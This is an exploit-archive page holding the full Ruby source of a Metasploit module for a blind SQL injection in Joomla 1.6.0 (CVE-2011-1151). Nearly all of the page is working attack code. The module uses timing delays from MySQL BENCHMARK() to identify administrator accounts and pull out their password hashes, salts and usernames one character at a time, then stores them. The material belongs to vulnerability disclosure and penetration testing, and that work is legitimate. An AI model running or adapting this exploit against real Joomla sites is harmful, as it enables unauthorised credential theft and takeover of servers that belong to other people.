Joomla 1.6.0 SQL Injection



EKU-ID: 387 CVE: OSVDB-ID:
Author: James Bercegay Published: 2011-06-01 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


# Requirements
require 'msf/core'

# Class declaration
class Metasploit3 < Msf::Auxiliary

	# Includes
	include Msf::Auxiliary::Report
	include Msf::Exploit::Remote::HttpClient	

	# Initialize module
	def initialize(info = {})
	
		# Initialize information
		super(update_info(info,
			'Name'           => 'Joomla 1.6.0 // SQL Injection Exploit',
			'Description'    => %q{
			A vulnerability was discovered by Aung Khant that allows for exploitable SQL Injection attacks 
			against a Joomla 1.6.0 install. This exploit attempts to leverage the SQL Injection to extract
			admin credentials, and then store those credentials within the notes_db.
	
			The vulnerability is due to a validation issue in /components/com_content/models/category.php
			that erroneously uses the "string" type whenever filtering the user supplied input. This issue 
			was fixed by performing a whitelist check of the user supplied order data against the allowed 
			order types, and also escaping the input.

			NOTES:
			------------------------------------------------
			* Do not set the BMCT option too high!
			* Do not set the BMCT option too low either ...
			* A delay of about three to five seconds is ideal
			* Increase BMRC if you have issues with reliability
			},
			'Author'         => 
				[ 
					# Exploit Only (Bug credit to Aung Khant)
					'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )'
				],
			'License'        =>  MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2011-1151' ],
					[ 'http://0x6a616d6573.blogspot.com/2011/04/joomla-160-sql-injection-analysis-and.html' ],
				],
			'Privileged'     =>  false,
			'Platform'       => 'php',
			'Arch'           =>  ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'March 17, 2011',
			'DefaultTarget'  => 0 ))

			register_options(
				[
					# Required
					OptString.new('JDIR', [true, 'Joomla directory', '/']),
				
					# The number of function iterations to run during the benchmark
					OptInt.new('BMCT', [true, 'The number of iterations performed by BENCHMARK()', 500000 ]),
					
					# This is the benchmark delay threshold (in seconds)
					OptInt.new('BMDF', [true, 'The difference, in seconds, of a delayed request vs a normal request', 3 ]),
										
					# The number of benchmark tests to make during each data request.
					# This number may be increased for accuracy if you have problems.
					OptInt.new('BMRC', [true, 'The number of benchmark requests to perform per operation (Speed vs Accuracy)', 1 ]),
					
					# Optional
					OptBool.new(  'DBUG', [false, 'Verbose output? (Debug)' ,  nil ]),
					OptString.new('AGNT', [false, 'User Agent Info'         , 'Mozilla/5.0' ]),

					# Database prefix
					OptString.new('PREF', [false, 'Joomla atabase prefixt',  'jos_' ]),
					
					# Admin account extraction limit
					OptInt.new('ALIM', [false, 'The number of admin accounts to extract (default is all available accounts)', nil ]),
							
					# Specific admin user ID to target		
					OptInt.new('AUID', [false, 'Target a specific admin user id', nil ]),			
					
					# URI used to trigger the bug
					OptString.new('JURI', [false, 'URI to trigger bug', "index.php/extensions/components/" ]),
					
					# Query used to trigger bug
					OptString.new('JQRY', [false, 'URI to trigger bug', "filter_order_Dir=1&filter_order=" ]),

				], self.class)
	end
	#################################################
	
	# Extract "Set-Cookie"
	def init_cookie(data, cstr = true)
	
		# Raw request? Or cookie data specifically?
		data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data

		# Beginning
		if ( data )
			
			# Break them apart
			data = data.split(', ')
			
			# Initialize
			ctmp = ''
			tmps = {}
			
			# Parse cookies
			data.each do | x |
			
				# Remove extra data
				x = x.split(';')[0]
			
				# Seperate cookie pairs
				if ( x =~ /([^;\s]+)=([^;\s]+)/im )
				
					# Key
					k = $1
					
					# Val
					v = $2
				
					# Valid cookie value?
					if ( v.length() > 0 )
					
						# Build cookie hash
						tmps[k] = v
						
						# Report cookie status
						print_status("Got Cookie: #{k} => #{v}");
					end
				end
			end
			
			# Build string data
			if ( cstr == true )
				
				# Loop
				tmps.each do |x,y| 
				
					# Cookie key/value
					ctmp << "#{x}=#{y};" 
				end
				
				# Assign
				tmps['cstr'] = ctmp
			end
			
			# Return
			return tmps
		else
			# Something may be wrong
			init_debug("No cookies within the given response")
		end
	end
	
    #################################################
	
	# Simple debugging output
	def init_debug(resp, exit = 0)
	
		# is DBUG set? Check it
		if ( datastore['DBUG'] )
		
			# Print debugging data
			print_status("######### DEBUG! ########")
			pp resp
			print_status("#########################")
		end
		
		# Continue execution
		if ( exit.to_i > 0 )
		
			# Exit
			exit(0)
		end
		
	end
	
	#################################################
	
	# Generic post wrapper
	def http_post(url, data, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ? 
		headers['Content-Type'] : "application/x-www-form-urlencoded"
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end

		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		}, 
		timeout	)
				
		# Returned
		return resp
		
	end
	
	#################################################
	
	# Generic post multipart wrapper	
	def http_post_multipart(url, data, headers = {}, timeout = 15)
		
		# Boundary string
		bndr =  Rex::Text.rand_text_alphanumeric(8)
		
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']
		
		# Determine Content-Type
		headers['Content-Type'] = headers['Content-Type'] ? 
		headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}"
		
		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value
			if ( !hval )
			
				# Delete header key
				headers.delete(hkey)
			end
		end

		# Init
		temp = ''
		
		# Parse form values
		data.each do |name, value|
		
			# Hash means file data
			if ( value.is_a?(Hash) )

				# Validate form fields
				filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1)
				contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1)
				mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1)
				encoding = value['encoding'] ? value['encoding']: "Binary"

				# Build multipart data
				temp << "--#{bndr}\r\n"
				temp << "Content-Disposition: form-data; name=\"#{name}\"; filename=\"#{filename}\"\r\n"
				temp << "Content-Type: #{mimetype}\r\n"
				temp << "Content-Transfer-Encoding: #{encoding}\r\n"
				temp << "\r\n"
				temp << "#{contents}\r\n"
				
			else
				# Build multipart data
				temp << "--#{bndr}\r\n"
				temp << "Content-Disposition: form-data; name=\"#{name}\";\r\n"
				temp << "\r\n"
				temp << "#{value}\r\n"
			end
		end
		
		# Complete the form data
		temp << "--#{bndr}--\r\n"
		
		# Assigned
		data = temp	
		
		# Determine Content-Length
		headers['Content-Length'] = data.length
		
		# Send request
		resp = send_request_raw(
		{
			'uri'     => datastore['JDIR'] + url,
			'method'  => 'POST',
			'data'    => data,
			'headers' => headers
		}, 
		timeout)
		
		# Returned
		return resp
		
	end
	
	#################################################
	
	# Generic get wrapper
	def http_get(url, headers = {}, timeout = 15)
	
		# Protocol
		proto = datastore['SSL'] ? 'https': 'http' 
	
		# Determine request url
		url = url.length ? url: ''
		
		# Determine User-Agent
		headers['User-Agent'] = headers['User-Agent']  ? 
		headers['User-Agent'] : datastore['AGNT']

		# Determine Referer
		headers['Referer'] = headers['Referer']        ? 
		headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}"

		# Delete all the null headers
		headers.each do | hkey, hval |
		
			# Null value // Also, remove post specific data, due to a bug ...
			if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" )
			
				# Delete header key
				headers.delete(hkey)
			end
		end
		
		# Send request
		resp = send_request_raw({
			'uri'     => datastore['JDIR'] + url,
			'headers' => headers,
			'method'  => 'GET',
		}, timeout)
		
		# Returned
		return resp
		
	end
		
	#################################################

	# Used to perform benchmark querys
	def sql_benchmark(test, table = nil, where = '1 LIMIT 1', tnum = nil )
	
		# Init
		wait = 0
		
		# Defaults
		table = table ? table: 'users'
		
		# SQL Injection string used to trigger the MySQL BECNHMARK() function
		sqli = Rex::Text.uri_encode("( SELECT IF(#{test}, BENCHMARK(#{datastore['BMCT']}, MD5(1)), 0) FROM #{datastore['PREF']}#{table} WHERE #{where} ),")
		
		# Number of tests to run. We run this
		# amount of tests and then look for a
		# median value that is greater than
		# the benchmark difference.
		tnum = tnum ? tnum: datastore['BMRC']
		
		# Run the tests
		tnum.to_i.times do | i |
		
			# Start time
			bmc1 = Time.now.to_i
			
			# Make the request
			init_debug(http_post(datastore['JURI'], "#{datastore['JQRY']}#{sqli}"))
		
			# End time
			bmc2 = Time.now.to_i
			
			# Total time
			wait += bmc2 - bmc1
		end

		# Return the results
		return ( wait.to_i / tnum.to_i )
		
	end
	
	#################################################
	
	def get_users_data(snum, slim, cset, sqlf, sqlw)

			# Start time
			tot1 = Time.now.to_i
			
			# Initialize
			reqc = 0
			retn = String.new
				
			# Extract salt
			for i in snum..slim
			
				# Offset position
				oset = ( i - snum ) + 1
	
				# Loop charset
				for cbit in cset
	
					# Test character
					cbit.each do | cchr |
	
						# Start time (overall)
						bmc1 = Time.now.to_i
	
						# Benchmark query
						bmcv = sql_benchmark("SUBSTRING(#{sqlf},#{i},1) LIKE BINARY CHAR(#{cchr.ord})", "users", sqlw, datastore['BMRC'])
	
						# Noticable delay? We must have a match! ;)
						if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
	
							# Verbose
							print_status(sprintf("Character %02s is %s", oset.to_s, cchr ))
	
							# Append chr
							retn << cchr
	
							# Exit loop
							break
						end 
	
						# Counter
						reqc += 1
	
					end # each	
				end # for
	
				# Host not vulnerable?
				if ( oset != retn.length )
					
					# Failure
					print_error("Unable to extract character ##{oset.to_s}. Extraction failed!")
					return nil
				end
			end # for
	
			# End time (total)
			tot2 = Time.now.to_i
	
			# Benchmark totals
			tot3 = tot2 - tot1
	
			# Verbose
			print_status("Found data: #{retn}")
			print_status("Operation required #{reqc.to_s} requests ( #{( tot3 / 60 ).to_s} minutes )")
			
			# Return
			return retn
	end
	
	#################################################
	
	def run

		# Numeric test string
		tstr = Time.now.to_i.to_s

		# MD5 test string
		tmd5 = Rex::Text.md5(tstr)

		#################################################
		# STEP 01 // Attempt to extract Joomla version
		#################################################

		# Verbose
		print_status("Attempting to determine Joomla version")

		# Banner grab request
		resp = http_get("index.php")

		# Extract Joomla version information
		if ( resp.body =~ /name="generator" content="Joomla! ([^\s]+)/ )

			# Version
			vers = $1.strip 

			# Version "parts"
			ver1, ver2, ver3 = vers.split(/\./)

			# Only if 1.6.0 aka 1.6
			if ( ver2.to_i != 6 || ver3 )

				# Exploit failed
				print_error("Only Joomla versions 1.6.0 and earlier are vulnerable")
				print_error("Proceed with extreme caution, as the exploit may fail")
				init_debug(resp)
			else

				# Verbose
				print_status("The target is running Joomla version : #{vers}")
			end
		else
		
			# Verbose
			print_error("Unable to determine Joomla version ...")
		end

		#################################################
		# STEP 02 // Trigger an SQL error in order to get
		# the database table prefix for future use.
		#################################################

		# Trigger an SQL error
		resp = http_post(datastore['JURI'], "#{datastore['JQRY']}#{tmd5}")

		# Attempt to extract the table prefix
		if ( resp.body =~ /ORDER BY \s*#{tmd5}/ && resp.body =~ /FROM ([^\s]*)content / )

			# Prefix
			datastore['PREF'] = $1

			# Verbose
			print_status("Host appears vulnerable!")
			print_status("Got database table prefix : #{datastore['PREF']}")
		end

		#################################################
		# STEP 03 // Calculate BENCHMARK() response times
		#################################################

		# Verbose
		print_status("Calculating target response times")
		print_status("Benchmarking #{datastore['BMRC']} normal requests")

		# Normal request median (globally accessible)
		datastore['BMC0'] = sql_benchmark("1=2")
		
		# Verbose		
		print_status("Normal request avg: #{datastore['BMC0'].to_s} seconds")
		print_status("Benchmarking #{datastore['BMRC']} delayed requests")

		# Delayed request median
		bmc1 = sql_benchmark("1=1")

		# Verbose
		print_status("Delayed request avg: #{bmc1.to_s} seconds")

		# Benchmark totals
		bmct = bmc1 - datastore['BMC0']

		# Delay too small. The host may not be
		# vulnerable. Try increasing the BMCT.
		if ( bmct.to_i < datastore['BMDF'].to_i )

			# Verbose
			print_error("Either your benchmark threshold is too small, or host is not vulnerable")
			print_error("To increase the benchmark threshold adjust the value of the BMDF option")
			print_error("To increase the expression iterator adjust the value of the BMCT option")
			return
		else
			# Host appears exploitable
			print_status("Request Difference: #{bmct.to_s} seconds")
		end
		
		atot = 0     # Total admins
		scnt = 0     # Step counter
		step = 10    # Step increment
		slim = 10000 # Step limit
		
		# 42 is the hard coded base uid within Joomla ... 
		# ... and the answer to the ultimate question! ;]
		snum = 42
		
		# No user supplied limit?
		if ( datastore['ALIM'].to_i == 0 && datastore['AUID'].to_i == 0 )
		
			# Verbose
			print_status("Calculating total number of administrators")
			
			# Check how many admin accounts are in the database
			for i in 0..slim do
	
				# Benchmark 
				bmcv = sql_benchmark("1", "user_usergroup_map", "group_id=8 LIMIT #{i.to_s},1", datastore['BMRC'])
	
				# If we do not have a delay, then we have reached the end ...
				if ( !( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) ) )
	
					# Range
					atot = i
					
					# Verbose
					print_status("Successfully confirmed #{atot.to_s} admin accounts")
	
					# Exit loop
					break
				end 
			end
		else

			# User supplied limit
			atot = datastore['AUID'] ? 1: datastore['ALIM']
		end
		
		#################################################
		# STEP 04 // Attempting to find a valid admin id
		#################################################			
		
		# Loops until limit
		while ( snum < slim && scnt < atot )
		
			# Specific admin user ID?
			if ( datastore['AUID'].to_i == 0 )

				# Verbose
				print_status("Attempting to find a valid admin ID")
				
				# Verbose
				print_status("Stepping from #{snum.to_s} to #{slim.to_s} by #{step.to_s}")
		
				# Here we attempt to find a valid admin user id by incrementally searching the table
				# "user_usergroup_map" for users belonging to the user group 8, which is, by default
				# the admin user group. First we step through 10 at a time until we pass up a usable
				# admin id, then we step back by #{step} and increment by one until we have a match.
				for i in snum.step(slim, step)
		
					# Benchmark 
					bmcv = sql_benchmark("#{i} > user_id", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])
		
					# Noticable delay? We must have a match! ;)
					if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
		
						# Range
						itmp = i
		
						# Exit loop
						break
					else
						
						# Out of time ..
						if ( i == slim )
						
							# Failure
							print_error("Unable to find a valid user id. Exploit failed!")
							return
						end
						
					end 
				end
		
				# Jump back by #{step} and increment by one
				for i in ( itmp - step ).upto(( itmp + step ))
		
					# Benchmark 
					bmcv = sql_benchmark("user_id = #{i}", "user_usergroup_map", "group_id=8 LIMIT #{scnt.to_s},1", datastore['BMRC'])
		
					# Noticable delay? We must have a match! ;)
					if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
		
						# UserID
						auid = i
		
						# Verbose
						print_status("Found a valid admin account uid : #{auid.to_s}")
						
						# Step Counter
						scnt += 1
		
						# Exit loop
						break
					else
						
						# Out of time ..
						if ( i == ( itmp + step ) )
						
							# Failure
							print_error("Unable to find a valid user id. Exploit failed!")
							return
						end
					end 
				end
			else
				
				# Specific admin id target
				auid = datastore['AUID']
				print_status("Targeting admin user id: #{auid.to_s}")
			end
			
			#################################################
			# These are the charsets used for the enumeration
			# operations and can be easily expanded if needed
			#################################################
	
			# Hash charset a-f0-9
			hdic = [ ('a'..'f'), ('0'..'9') ]
	
			# Salt charset a-zA-Z0-9
			sdic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
			
			# Username charset
			udic = [ ('a'..'z'), ('A'..'Z'), ('0'..'9') ]
		
			#################################################
			# STEP 05 // Attempt to extract admin pass hash
			#################################################
	
			# Verbose
			print_status("Attempting to gather admin password hash")
			
			# Get pass hash
			if ( !( hash = get_users_data(
							1,                # Length Start
							32,               # Length Maximum
							hdic,             # Charset Array
							"password",       # SQL Field name
							"id=#{auid.to_s}" # SQL Where data
							) ) )
							
				# Failure
				print_error("Unable to gather admin pass hash. Exploit failed!!")
				return
			end
			
			#################################################
			# STEP 06 // Attempt to extract admin pass salt
			#################################################
			
			# Verbose
			print_status("Attempting to gather admin password salt")
			
			# Get pass salt
			if ( !( salt = get_users_data(
							34,               # Length Start
							65,               # Length Maximum
							sdic,             # Charset Array
							"password",       # SQL Field name
							"id=#{auid.to_s}" # SQL Where data
							) ) )
							
				# Failure
				print_error("Unable to gather admin pass salt. Exploit failed!!")
				return
			end


			#################################################
			# STEP 08 // Attempt to extract admin username
			#################################################
			
			# Verbose
			print_status("Attempting to determine target username length")
			
			# Hard limit is 150
			for i in 1.upto(150)
	
				# Benchmark 
				bmcv = sql_benchmark("LENGTH(username)=#{i.to_s}", "users", "id=#{auid.to_s}", datastore['BMRC'])
	
				# Noticable delay? We must have a match! ;)
				if ( bmcv >= ( datastore['BMC0'] + datastore['BMDF'].to_i ) )
	
					# Length
					ulen = i
					
					# Verbose
					print_status("The username is #{i.to_s} characters long")
	
					# Exit loop
					break
				end 
			end
	
			# Verbose
			print_status('Gathering admin username')
	
			# Get pass salt
			if ( !( user = get_users_data(
							1,                # Length Start
							ulen,             # Length Maximum
							udic,             # Charset Array
							"username",       # SQL Field name
							"id=#{auid.to_s}" # SQL Where data
							) ) )
							
				# Failure
				print_error("Unable to gather admin user name. Exploit failed!!")
				return
			end
			
			# Verbose
			print_status("USER: #{user} (ID: #{auid.to_s})")
			print_status("HASH: #{hash}")
			print_status("SALT: #{salt}")
			print_status("Inserting credentials into the note database ...")
			
			# Note data
			ndat = {
			
					# Joomla directory
				    "JDIR" => datastore['JDIR'],
					
					# Admin ID
					"AUID" => auid,
					
					# Admin User
					"USER" => user,
					
					# Admin Hash
					"HASH" => hash,
					
					# Admin Salt
					"SALT" => salt,
				   }

			# Save results            
            report_note(
	                    :host   => datastore['RHOST'],
	                    :proto  => ( !datastore['SSL'] ) ? 'HTTP': 'HTTPS',
	                    :port   => datastore['RPORT'],
	                    :type   => "Joomla Admin Credentials",
	                    :data   => ndat
           			   )
		end # while
	end
end